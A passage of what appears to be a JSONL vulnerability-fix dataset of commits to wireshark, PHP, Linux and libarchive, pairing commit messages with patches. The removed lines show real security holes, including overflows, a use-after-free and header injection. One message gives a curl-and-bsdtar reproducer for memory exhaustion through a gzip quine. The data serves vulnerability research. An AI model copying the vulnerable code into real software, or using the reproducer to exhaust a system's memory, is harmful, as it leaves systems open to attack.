if_name, &pkt_len,\n \t\t\t\t &pro, &off, &pri, &rm, &error,\n", "related": true}, {"section": "@@ -357,7 +356,7 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n \t} else {\n \t\t/* appears to be output to PE */\n \t\tnum_items_scanned = sscanf(line,\n-\t\t \"%5s (%127[A-Za-z0-9/:]), Length:%9u, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n+\t\t \"%5s (%127[A-Za-z0-9/:]), Length:%9d, Pro:%9d, Off:%9d, Pri:%9d, RM:%9d, Err:%9d [%8x, %8x]\",\n \t\t\t\t direction, if_name, &pkt_len,\n \t\t\t\t &pro, &off, &pri, &rm, &error,\n \t\t\t\t &code1, &code2);\n", "related": true}, {"section": "@@ -369,6 +368,11 @@ parse_cosine_packet(FILE_T fh, struct wtap_pkthdr *phdr, Buffer *buf,\n \t\t}\n \t\tyy = mm = dd = hr = min = sec = csec = 0;\n \t}\n+\tif (pkt_len < 0) {\n+\t\t*err = WTAP_ERR_BAD_FILE;\n+\t\t*err_info = g_strdup(\"cosine: packet header has a negative packet length\");\n+\t\treturn FALSE;\n+\t}\n \tif (pkt_len > WTAP_MAX_PACKET_SIZE) {\n \t\t/*\n \t\t * Probably a corrupt capture file; don't blow up trying", "related": true}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "main/SAPI.c", "commit_id": "996faf964bba1aec06b153b370a7f20d3dd2bb8b", "commit_message": "Update header handling to RFC 7230", "patch": "@@ -743,13 +743,8 @@ SAPI_API int sapi_header_op(sapi_header_op_enum op, void *arg TSRMLS_DC)\n \t\t/* new line/NUL character safety check */\n \t\tint i;\n \t\tfor (i = 0; i < header_line_len; i++) {\n-\t\t\t/* RFC 2616 allows new lines if followed by SP or HT */\n-\t\t\tint illegal_break =\n-\t\t\t\t\t(header_line[i+1] != ' ' && header_line[i+1] != '\\t')\n-\t\t\t\t\t&& (\n-\t\t\t\t\t\theader_line[i] == '\\n'\n-\t\t\t\t\t\t|| (header_line[i] == '\\r' && header_line[i+1] != '\\n'));\n-\t\t\tif (illegal_break) {\n+\t\t\t/* RFC 7230 ch. 3.2.4 deprecates folding support */\n+\t\t\tif (header_line[i] == '\\n' || header_line[i] == '\\r') {\n \t\t\t\tefree(header_line);\n \t\t\t\tsapi_module.sapi_error(E_WARNING, \"Header may not contain \"\n \t\t\t\t\t\t\"more than a single header, new line detected\");", "sections": [{"section": "@@ -743,13 +743,8 @@ SAPI_API int sapi_header_op(sapi_header_op_enum op, void *arg TSRMLS_DC)\n \t\t/* new line/NUL character safety check */\n \t\tint i;\n \t\tfor (i = 0; i < header_line_len; i++) {\n-\t\t\t/* RFC 2616 allows new lines if followed by SP or HT */\n-\t\t\tint illegal_break =\n-\t\t\t\t\t(header_line[i+1] != ' ' && header_line[i+1] != '\\t')\n-\t\t\t\t\t&& (\n-\t\t\t\t\t\theader_line[i] == '\\n'\n-\t\t\t\t\t\t|| (header_line[i] == '\\r' && header_line[i+1] != '\\n'));\n-\t\t\tif (illegal_break) {\n+\t\t\t/* RFC 7230 ch. 3.2.4 deprecates folding support */\n+\t\t\tif (header_line[i] == '\\n' || header_line[i] == '\\r') {\n \t\t\t\tefree(header_line);\n \t\t\t\tsapi_module.sapi_error(E_WARNING, \"Header may not contain \"\n \t\t\t\t\t\t\"more than a single header, new line detected\");", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv6/datagram.c", "commit_id": "45f6fad84cc305103b28d73482b344d7f5b76f39", "commit_message": "ipv6: add complete rcu protection around np->opt\n\nThis patch addresses multiple problems :\n\nUDP/RAW sendmsg() need to get a stable struct ipv6_txoptions\nwhile socket is not locked : Other threads can change np->opt\nconcurrently. Dmitry posted a syzkaller\n(http://github.com/google/syzkaller) program desmonstrating\nuse-after-free.\n\nStarting with TCP/DCCP lockless listeners, tcp_v6_syn_recv_sock()\nand dccp_v6_request_recv_sock() also need to use RCU protection\nto dereference np->opt once (before calling ipv6_dup_options())\n\nThis patch adds full RCU protection to np->opt\n\nReported-by: Dmitry Vyukov \nSigned-off-by: Eric Dumazet \nAcked-by: Hannes Frederic Sowa \nSigned-off-by: David S. Miller ", "patch": "@@ -167,8 +167,10 @@ static int __ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int a\n \n \tsecurity_sk_classify_flow(sk, flowi6_to_flowi(&fl6));\n \n-\topt = flowlabel ? flowlabel->opt : np->opt;\n+\trcu_read_lock();\n+\topt = flowlabel ? flowlabel->opt : rcu_dereference(np->opt);\n \tfinal_p = fl6_update_dst(&fl6, opt, &final);\n+\trcu_read_unlock();\n \n \tdst = ip6_dst_lookup_flow(sk, &fl6, final_p);\n \terr = 0;", "sections": [{"section": "@@ -167,8 +167,10 @@ static int __ip6_datagram_connect(struct sock *sk, struct sockaddr *uaddr, int a\n \n \tsecurity_sk_classify_flow(sk, flowi6_to_flowi(&fl6));\n \n-\topt = flowlabel ? flowlabel->opt : np->opt;\n+\trcu_read_lock();\n+\topt = flowlabel ? flowlabel->opt : rcu_dereference(np->opt);\n \tfinal_p = fl6_update_dst(&fl6, opt, &final);\n+\trcu_read_unlock();\n \n \tdst = ip6_dst_lookup_flow(sk, &fl6, final_p);\n \terr = 0;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/apparmor/lsm.c", "commit_id": "30a46a4647fd1df9cf52e43bf467f0d9265096ca", "commit_message": "apparmor: fix oops, validate buffer size in apparmor_setprocattr()\n\nWhen proc_pid_attr_write() was changed to use memdup_user apparmor's\n(interface violating) assumption that the setprocattr buffer was always\na single page was violated.\n\nThe size test is not strictly speaking needed as proc_pid_attr_write()\nwill reject anything larger, but for the sake of robustness we can keep\nit in.\n\nSMACK and SELinux look safe to me, but somebody else should probably\nhave a look just in case.\n\nBased on original patch from Vegard Nossum \nmodified for the case that apparmor provides null termination.\n\nFixes: bb646cdb12e75d82258c2f2e7746d5952d3e321a\nReported-by: Vegard Nossum \nCc: Al Viro \nCc: John Johansen \nCc: Paul Moore \nCc: Stephen Smalley \nCc: Eric Paris \nCc: Casey Schaufler \nCc: stable@kernel.org\nSigned-off-by: John Johansen \nReviewed-by: Tyler Hicks \nSigned-off-by: James Morris ", "patch": "@@ -500,34 +500,34 @@ static int apparmor_setprocattr(struct task_struct *task, char *name,\n {\n \tstruct common_audit_data sa;\n \tstruct apparmor_audit_data aad = {0,};\n-\tchar *command, *args = value;\n+\tchar *command, *largs = NULL, *args = value;\n \tsize_t arg_size;\n \tint error;\n \n \tif (size == 0)\n \t\treturn -EINVAL;\n-\t/* args points to a PAGE_SIZE buffer, AppArmor requires that\n-\t * the buffer must be null terminated or have size <= PAGE_SIZE -1\n-\t * so that AppArmor can null terminate them\n-\t */\n-\tif (args[size - 1] != '\\0') {\n-\t\tif (size == PAGE_SIZE)\n-\t\t\treturn -EINVAL;\n-\t\targs[size] = '\\0';\n-\t}\n-\n \t/* task can only write its own attributes */\n \tif (current != task)\n \t\treturn -EACCES;\n \n-\targs = value;\n+\t/* AppArmor requires that the buffer must be null terminated atm */\n+\tif (args[size - 1] != '\\0') {\n+\t\t/* null terminate */\n+\t\tlargs = args = kmalloc(size + 1, GFP_KERNEL);\n+\t\tif (!args)\n+\t\t\treturn -ENOMEM;\n+\t\tmemcpy(args, value, size);\n+\t\targs[size] = '\\0';\n+\t}\n+\n+\terror = -EINVAL;\n \targs = strim(args);\n \tcommand = strsep(&args, \" \");\n \tif (!args)\n-\t\treturn -EINVAL;\n+\t\tgoto out;\n \targs = skip_spaces(args);\n \tif (!*args)\n-\t\treturn -EINVAL;\n+\t\tgoto out;\n \n \targ_size = size - (args - (char *) value);\n \tif (strcmp(name, \"current\") == 0) {\n@@ -553,10 +553,12 @@ static int apparmor_setprocattr(struct task_struct *task, char *name,\n \t\t\tgoto fail;\n \t} else\n \t\t/* only support the \"current\" and \"exec\" process attributes */\n-\t\treturn -EINVAL;\n+\t\tgoto fail;\n \n \tif (!error)\n \t\terror = size;\n+out:\n+\tkfree(largs);\n \treturn error;\n \n fail:\n@@ -565,9 +567,9 @@ static int apparmor_setprocattr(struct task_struct *task, char *name,\n \taad.profile = aa_current_profile();\n \taad.op = OP_SETPROCATTR;\n \taad.info = name;\n-\taad.error = -EINVAL;\n+\taad.error = error = -EINVAL;\n \taa_audit_msg(AUDIT_APPARMOR_DENIED, &sa, NULL);\n-\treturn -EINVAL;\n+\tgoto out;\n }\n \n static int apparmor_task_setrlimit(struct task_struct *task,", "sections": [{"section": "@@ -500,34 +500,34 @@ static int apparmor_setprocattr(struct task_struct *task, char *name,\n {\n \tstruct common_audit_data sa;\n \tstruct apparmor_audit_data aad = {0,};\n-\tchar *command, *args = value;\n+\tchar *command, *largs = NULL, *args = value;\n \tsize_t arg_size;\n \tint error;\n \n \tif (size == 0)\n \t\treturn -EINVAL;\n-\t/* args points to a PAGE_SIZE buffer, AppArmor requires that\n-\t * the buffer must be null terminated or have size <= PAGE_SIZE -1\n-\t * so that AppArmor can null terminate them\n-\t */\n-\tif (args[size - 1] != '\\0') {\n-\t\tif (size == PAGE_SIZE)\n-\t\t\treturn -EINVAL;\n-\t\targs[size] = '\\0';\n-\t}\n-\n \t/* task can only write its own attributes */\n \tif (current != task)\n \t\treturn -EACCES;\n \n-\targs = value;\n+\t/* AppArmor requires that the buffer must be null terminated atm */\n+\tif (args[size - 1] != '\\0') {\n+\t\t/* null terminate */\n+\t\tlargs = args = kmalloc(size + 1, GFP_KERNEL);\n+\t\tif (!args)\n+\t\t\treturn -ENOMEM;\n+\t\tmemcpy(args, value, size);\n+\t\targs[size] = '\\0';\n+\t}\n+\n+\terror = -EINVAL;\n \targs = strim(args);\n \tcommand = strsep(&args, \" \");\n \tif (!args)\n-\t\treturn -EINVAL;\n+\t\tgoto out;\n \targs = skip_spaces(args);\n \tif (!*args)\n-\t\treturn -EINVAL;\n+\t\tgoto out;\n \n \targ_size = size - (args - (char *) value);\n \tif (strcmp(name, \"current\") == 0) {\n", "related": false}, {"section": "@@ -553,10 +553,12 @@ static int apparmor_setprocattr(struct task_struct *task, char *name,\n \t\t\tgoto fail;\n \t} else\n \t\t/* only support the \"current\" and \"exec\" process attributes */\n-\t\treturn -EINVAL;\n+\t\tgoto fail;\n \n \tif (!error)\n \t\terror = size;\n+out:\n+\tkfree(largs);\n \treturn error;\n \n fail:\n", "related": false}, {"section": "@@ -565,9 +567,9 @@ static int apparmor_setprocattr(struct task_struct *task, char *name,\n \taad.profile = aa_current_profile();\n \taad.op = OP_SETPROCATTR;\n \taad.info = name;\n-\taad.error = -EINVAL;\n+\taad.error = error = -EINVAL;\n \taa_audit_msg(AUDIT_APPARMOR_DENIED, &sa, NULL);\n-\treturn -EINVAL;\n+\tgoto out;\n }\n \n static int apparmor_task_setrlimit(struct task_struct *task,", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/arm/include/asm/thread_info.h", "commit_id": "a4780adeefd042482f624f5e0d577bf9cdcbb760", "commit_message": "ARM: 7735/2: Preserve the user r/w register TPIDRURW on context switch and fork\n\nSince commit 6a1c53124aa1 the user writeable TLS register was zeroed to\nprevent it from being used as a covert channel between two tasks.\n\nThere are more and more applications coming to Windows RT,\nWine could support them, but mostly they expect to have\nthe thread environment block (TEB) in TPIDRURW.\n\nThis patch preserves that register per thread instead of clearing it.\nUnlike the TPIDRURO, which is already switched, the TPIDRURW\ncan be updated from userspace so needs careful treatment in the case that we\nmodify TPIDRURW and call fork(). To avoid this we must always read\nTPIDRURW in copy_thread.\n\nSigned-off-by: André Hentschel \nSigned-off-by: Will Deacon \nSigned-off-by: Jonathan Austin \nSigned-off-by: Russell King ", "patch": "@@ -58,7 +58,7 @@ struct thread_info {\n \tstruct cpu_context_save\tcpu_context;\t/* cpu context */\n \t__u32\t\t\tsyscall;\t/* syscall number */\n \t__u8\t\t\tused_cp[16];\t/* thread used copro */\n-\tunsigned long\t\ttp_value;\n+\tunsigned long\t\ttp_value[2];\t/* TLS registers */\n #ifdef CONFIG_CRUNCH\n \tstruct crunch_state\tcrunchstate;\n #endif", "sections": [{"section": "@@ -58,7 +58,7 @@ struct thread_info {\n \tstruct cpu_context_save\tcpu_context;\t/* cpu context */\n \t__u32\t\t\tsyscall;\t/* syscall number */\n \t__u8\t\t\tused_cp[16];\t/* thread used copro */\n-\tunsigned long\t\ttp_value;\n+\tunsigned long\t\ttp_value[2];\t/* TLS registers */\n #ifdef CONFIG_CRUNCH\n \tstruct crunch_state\tcrunchstate;\n #endif", "related": false}]} +{"owner": "libarchive", "repo": "libarchive", "language": "C", "file_name": "libarchive/archive_read.c", "commit_id": "6e06b1c89dd0d16f74894eac4cfc1327a06ee4a0", "commit_message": "Fix a potential crash issue discovered by Alexander Cherepanov:\n\nIt seems bsdtar automatically handles stacked compression. This is a\nnice feature but it could be problematic when it's completely\nunlimited. Most clearly it's illustrated with quines:\n\n$ curl -sRO http://www.maximumcompression.com/selfgz.gz\n$ (ulimit -v 10000000 && bsdtar -tvf selfgz.gz)\nbsdtar: Error opening archive: Can't allocate data for gzip decompression\n\nWithout ulimit, bsdtar will eat all available memory. This could also\nbe a problem for other applications using libarchive.", "patch": "@@ -548,13 +548,13 @@ archive_read_open1(struct archive *_a)\n static int\n choose_filters(struct archive_read *a)\n {\n-\tint number_bidders, i, bid, best_bid;\n+\tint number_bidders, i, bid, best_bid, n;\n \tstruct archive_read_filter_bidder *bidder, *best_bidder;\n \tstruct archive_read_filter *filter;\n \tssize_t avail;\n \tint r;\n \n-\tfor (;;) {\n+\tfor (n = 0; n < 25; ++n) {\n \t\tnumber_bidders = sizeof(a->bidders) / sizeof(a->bidders[0]);\n \n \t\tbest_bid = 0;\n@@ -600,6 +600,9 @@ choose_filters(struct archive_read *a)\n \t\t\treturn (ARCHIVE_FATAL);\n \t\t}\n \t}\n+\tarchive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n+\t \"Input requires too many filters for decoding\");\n+\treturn (ARCHIVE_FATAL);\n }\n \n /*", "sections": [{"section": "@@ -548,13 +548,13 @@ archive_read_open1(struct archive *_a)\n static int\n choose_filters(struct archive_read *a)\n {\n-\tint number_bidders, i, bid, best_bid;\n+\tint number_bidders, i, bid, best_bid, n;\n \tstruct archive_read_filter_bidder *bidder, *best_bidder;\n \tstruct archive_read_filter *filter;\n \tssize_t avail;\n \tint r;\n \n-\tfor (;;) {\n+\tfor (n = 0; n < 25; ++n) {\n \t\tnumber_bidders = sizeof(a->bidders) / sizeof(a->bidders[0]);\n \n \t\tbest_bid = 0;\n", "related": false}, {"section": "@@ -600,6 +600,9 @@ choose_filters(struct archive_read *a)\n \t\t\treturn (ARCHIVE_FATAL);\n \t\t}\n \t}\n+\tarchive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,\n+\t \"Input requires too many filters for decoding\");\n+\treturn (ARCHIVE_FATAL);\n }\n \n /*", "related": false}]} +{"owner": "libarchive", "repo": "libarchive", "language": "C", "file_name": "libarchive/archive_read_support_format_7zip.c", "commit_id": "e79ef306afe332faf22e9b442a2c6b59cb175573", "commit_message": "Issue #718: Fix TALOS-CAN-152\n\nIf a 7-Zip archive declares a rediculously large number of substreams,\nit can overflow an internal counter, leading a subsequent memory\nallocation to be too small for the substream data.\n\nThanks to the Open Source and Threat Intelligence project at Cisco\nfor reporting this issue.", "patch": "@@ -2153,6 +2153,9 @@ read_SubStreamsInfo(struct archive_read *a, struct _7z_substream_info *ss,\n \t\t\t\treturn (-1);\n \t\t\tif (UMAX_ENTRY < f[i].numUnpackStreams)\n \t\t\t\treturn (-1);\n+\t\t\tif (unpack_streams > SIZE_MAX - UMAX_ENTRY) {\n+\t\t\t\treturn (-1);\n+\t\t\t}\n \t\t\tunpack_streams += (size_t)f[i].numUnpackStreams;\n \t\t}\n \t\tif ((p = header_bytes(a, 1)) == NULL)", "sections": [{"section": "@@ -2153,6 +2153,9 @@ read_SubStreamsInfo(struct archive_read *a, struct _7z_substream_info *ss,\n \t\t\t\treturn (-1);\n \t\t\tif (UMAX_ENTRY < f[i].numUnpackStreams)\n \t\t\t\treturn (-1);\n+\t\t\tif (unpack_streams > SIZE_MAX - UMAX_ENTRY) {\n+\t\t\t\treturn (-1);\n+\t\t\t}\n \t\t\tunpack_streams += (size_t)f[i].numUnpackStreams;\n \t\t}\n \t\tif ((p = header_bytes(a, 1)) == NULL)", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "ext/gd/gd.c", "commit_id": "28022c9b1fd937436ab67bb3d61f652c108baf96", "commit_message": "Fix bug#72697 - select_colors write out-of-bounds\n\n(cherry picked from commit b6f13a5ef9d6280cf984826a5de012a32c396cd4)\n\nConflicts:\n\text/gd/gd.c", "patch": "@@ -1537,11 +1537,11 @@ PHP_FUNCTION(imagetruecolortopalette)\n \t\tRETURN_FALSE;\n \t}\n \n-\tif (ncolors <= 0) {\n-\t\tphp_error_docref(NULL, E_WARNING, \"Number of colors has to be greater than zero\");\n+\tif (ncolors <= 0 || ZEND_LONG_INT_OVFL(ncolors)) {\n+\t\tphp_error_docref(NULL, E_WARNING, \"Number of colors has to be greater than zero and no more than %d\", INT_MAX);\n \t\tRETURN_FALSE;\n \t}\n-\tgdImageTrueColorToPalette(im, dither, ncolors);\n+\tgdImageTrueColorToPalette(im, dither, (int)ncolors);\n \n \tRETURN_TRUE;\n }", "sections": [{"section": "@@ -1537,11 +1537,11 @@ PHP_FUNCTION(imagetruecolortopalette)\n \t\tRETURN_FALSE;\n \t}\n \n-\tif (ncolors <= 0) {\n-\t\tphp_error_docref(NULL, E_WARNING, \"Number of colors has to be greater than zero\");\n+\tif (ncolors <= 0 || ZEND_LONG_INT_OVFL(ncolors)) {\n+\t\tphp_error_docref(NULL, E_WARNING, \"Number of colors has to be greater than zero and no more than %d\", INT_MAX);\n \t\tRETURN_FALSE;\n \t}\n-\tgdImageTrueColorToPalette(im, dither, ncolors);\n+\tgdImageTrueColorToPalette(im, dither, (int)ncolors);\n \n \tRETURN_TRUE;\n }", "related": false}]} +{"owner": "php", "repo": "php-src", "language": "C", "file_name": "ext/standard/var_unserializer.c", "commit_id": "20ce2fe8e3c211a42fee05a461a5881be9a8790e", "commit_message": "Fix bug #72663 - destroy broken object when unserializing\n\n(cherry picked from commit 448c9be157f4147e121f1a2a524536c75c9c6059)", "patch": "@@ -1,4 +1,4 @@\n-/* Generated by re2c 0.13.5 */\n+/* Generated by re2c 0.13.7.5 */\n #line 1 \"ext/standard/var_unserializer.re\"\n /*\n +----------------------------------------------------------------------+\n@@ -687,7 +687,8 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tif (yybm[0+yych] & 128) {\n \t\tgoto yy20;\n \t}\n-\tif (yych != ':') goto yy18;\n+\tif (yych <= '/') goto yy18;\n+\tif (yych >= ';') goto yy18;\n \tyych = *++YYCURSOR;\n \tif (yych != '\"') goto yy18;\n \t++YYCURSOR;\n@@ -836,7 +837,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn object_common2(UNSERIALIZE_PASSTHRU, elements);\n }\n-#line 804 \"ext/standard/var_unserializer.c\"\n+#line 805 \"ext/standard/var_unserializer.c\"\n yy25:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -868,7 +869,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \treturn object_common2(UNSERIALIZE_PASSTHRU,\n \t\t\tobject_common1(UNSERIALIZE_PASSTHRU, ZEND_STANDARD_CLASS_DEF_PTR));\n }\n-#line 836 \"ext/standard/var_unserializer.c\"\n+#line 837 \"ext/standard/var_unserializer.c\"\n yy32:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy33;\n@@ -913,7 +914,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn finish_nested_data(UNSERIALIZE_PASSTHRU);\n }\n-#line 881 \"ext/standard/var_unserializer.c\"\n+#line 882 \"ext/standard/var_unserializer.c\"\n yy39:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy40;\n@@ -968,7 +969,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_STR(rval, str);\n \treturn 1;\n }\n-#line 936 \"ext/standard/var_unserializer.c\"\n+#line 937 \"ext/standard/var_unserializer.c\"\n yy46:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy47;\n@@ -1021,7 +1022,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_STRINGL(rval, str, len);\n \treturn 1;\n }\n-#line 989 \"ext/standard/var_unserializer.c\"\n+#line 990 \"ext/standard/var_unserializer.c\"\n yy53:\n \tyych = *++YYCURSOR;\n \tif (yych <= '/') {\n@@ -1118,7 +1119,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_DOUBLE(rval, zend_strtod((const char *)start + 2, NULL));\n \treturn 1;\n }\n-#line 1086 \"ext/standard/var_unserializer.c\"\n+#line 1087 \"ext/standard/var_unserializer.c\"\n yy65:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -1193,7 +1194,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1161 \"ext/standard/var_unserializer.c\"\n+#line 1162 \"ext/standard/var_unserializer.c\"\n yy76:\n \tyych = *++YYCURSOR;\n \tif (yych == 'N') goto yy73;\n@@ -1246,7 +1247,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_LONG(rval, parse_iv(start + 2));\n \treturn 1;\n }\n-#line 1214 \"ext/standard/var_unserializer.c\"\n+#line 1215 \"ext/standard/var_unserializer.c\"\n yy83:\n \tyych = *++YYCURSOR;\n \tif (yych <= '/') goto yy18;\n@@ -1260,7 +1261,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_BOOL(rval, parse_iv(start + 2));\n \treturn 1;\n }\n-#line 1228 \"ext/standard/var_unserializer.c\"\n+#line 1229 \"ext/standard/var_unserializer.c\"\n yy87:\n \t++YYCURSOR;\n #line 573 \"ext/standard/var_unserializer.re\"\n@@ -1269,7 +1270,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_NULL(rval);\n \treturn 1;\n }\n-#line 1237 \"ext/standard/var_unserializer.c\"\n+#line 1238 \"ext/standard/var_unserializer.c\"\n yy89:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -1317,7 +1318,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1285 \"ext/standard/var_unserializer.c\"\n+#line 1286 \"ext/standard/var_unserializer.c\"\n yy95:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n@@ -1366,7 +1367,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1334 \"ext/standard/var_unserializer.c\"\n+#line 1335 \"ext/standard/var_unserializer.c\"\n }\n #line 886 \"ext/standard/var_unserializer.re\"\n ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Generated by re2c 0.13.5 */\n+/* Generated by re2c 0.13.7.5 */\n #line 1 \"ext/standard/var_unserializer.re\"\n /*\n +----------------------------------------------------------------------+\n", "related": false}, {"section": "@@ -687,7 +687,8 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tif (yybm[0+yych] & 128) {\n \t\tgoto yy20;\n \t}\n-\tif (yych != ':') goto yy18;\n+\tif (yych <= '/') goto yy18;\n+\tif (yych >= ';') goto yy18;\n \tyych = *++YYCURSOR;\n \tif (yych != '\"') goto yy18;\n \t++YYCURSOR;\n", "related": false}, {"section": "@@ -836,7 +837,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn object_common2(UNSERIALIZE_PASSTHRU, elements);\n }\n-#line 804 \"ext/standard/var_unserializer.c\"\n+#line 805 \"ext/standard/var_unserializer.c\"\n yy25:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n", "related": false}, {"section": "@@ -868,7 +869,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \treturn object_common2(UNSERIALIZE_PASSTHRU,\n \t\t\tobject_common1(UNSERIALIZE_PASSTHRU, ZEND_STANDARD_CLASS_DEF_PTR));\n }\n-#line 836 \"ext/standard/var_unserializer.c\"\n+#line 837 \"ext/standard/var_unserializer.c\"\n yy32:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy33;\n", "related": false}, {"section": "@@ -913,7 +914,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn finish_nested_data(UNSERIALIZE_PASSTHRU);\n }\n-#line 881 \"ext/standard/var_unserializer.c\"\n+#line 882 \"ext/standard/var_unserializer.c\"\n yy39:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy40;\n", "related": false}, {"section": "@@ -968,7 +969,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_STR(rval, str);\n \treturn 1;\n }\n-#line 936 \"ext/standard/var_unserializer.c\"\n+#line 937 \"ext/standard/var_unserializer.c\"\n yy46:\n \tyych = *++YYCURSOR;\n \tif (yych == '+') goto yy47;\n", "related": false}, {"section": "@@ -1021,7 +1022,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_STRINGL(rval, str, len);\n \treturn 1;\n }\n-#line 989 \"ext/standard/var_unserializer.c\"\n+#line 990 \"ext/standard/var_unserializer.c\"\n yy53:\n \tyych = *++YYCURSOR;\n \tif (yych <= '/') {\n", "related": false}, {"section": "@@ -1118,7 +1119,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_DOUBLE(rval, zend_strtod((const char *)start + 2, NULL));\n \treturn 1;\n }\n-#line 1086 \"ext/standard/var_unserializer.c\"\n+#line 1087 \"ext/standard/var_unserializer.c\"\n yy65:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n", "related": false}, {"section": "@@ -1193,7 +1194,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1161 \"ext/standard/var_unserializer.c\"\n+#line 1162 \"ext/standard/var_unserializer.c\"\n yy76:\n \tyych = *++YYCURSOR;\n \tif (yych == 'N') goto yy73;\n", "related": false}, {"section": "@@ -1246,7 +1247,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_LONG(rval, parse_iv(start + 2));\n \treturn 1;\n }\n-#line 1214 \"ext/standard/var_unserializer.c\"\n+#line 1215 \"ext/standard/var_unserializer.c\"\n yy83:\n \tyych = *++YYCURSOR;\n \tif (yych <= '/') goto yy18;\n", "related": false}, {"section": "@@ -1260,7 +1261,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_BOOL(rval, parse_iv(start + 2));\n \treturn 1;\n }\n-#line 1228 \"ext/standard/var_unserializer.c\"\n+#line 1229 \"ext/standard/var_unserializer.c\"\n yy87:\n \t++YYCURSOR;\n #line 573 \"ext/standard/var_unserializer.re\"\n", "related": false}, {"section": "@@ -1269,7 +1270,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \tZVAL_NULL(rval);\n \treturn 1;\n }\n-#line 1237 \"ext/standard/var_unserializer.c\"\n+#line 1238 \"ext/standard/var_unserializer.c\"\n yy89:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n", "related": false}, {"section": "@@ -1317,7 +1318,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1285 \"ext/standard/var_unserializer.c\"\n+#line 1286 \"ext/standard/var_unserializer.c\"\n yy95:\n \tyych = *++YYCURSOR;\n \tif (yych <= ',') {\n", "related": false}, {"section": "@@ -1366,7 +1367,7 @@ static int php_var_unserialize_internal(UNSERIALIZE_PARAMETER)\n \n \treturn 1;\n }\n-#line 1334 \"ext/standard/var_unserializer.c\"\n+#line 1335 \"ext/standard/var_unserializer.c\"\n }\n #line 886 \"ext/standard/var_unserializer.re\"\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/jffs2/acl.c", "commit_id": "073931017b49d9458aa351605b43a7e34598caef", "commit_message": "posix_acl: Clear SGID bit when setting file permissions\n\nWhen file permissions are modified via chmod(2) and the user is not in\nthe owning group or capable of CAP_FSETID, the setgid bit is cleared in\ninode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file\npermissions as well as the new ACL, but doesn't clear the setgid bit in\na similar way; this allows to bypass the check in chmod(2). Fix that.\n\nReferences: CVE-2016-7097\nReviewed-by: Christoph Hellwig \nReviewed-by: Jeff Layton \nSigned-off-by: Jan Kara \nSigned-off-by: Andreas Gruenbacher ", "patch": "@@ -233,9 +233,10 @@ int jffs2_set_acl(struct inode *inode, struct posix_acl *acl, int type)\n \tcase ACL_TYPE_ACCESS:\n \t\txprefix = JFFS2_XPREFIX_ACL_ACCESS;\n \t\tif (acl) {\n-\t\t\tumode_t mode = inode->i_mode;\n-\t\t\trc = posix_acl_equiv_mode(acl, &mode);\n-\t\t\tif (rc < 0)\n+\t\t\tumode_t mode;\n+\n+\t\t\trc = posix_acl_update_mode(inode, &mode, &acl);\n+\t\t\tif (rc)\n \t\t\t\treturn rc;\n \t\t\tif (inode->i_mode != mode) {\n 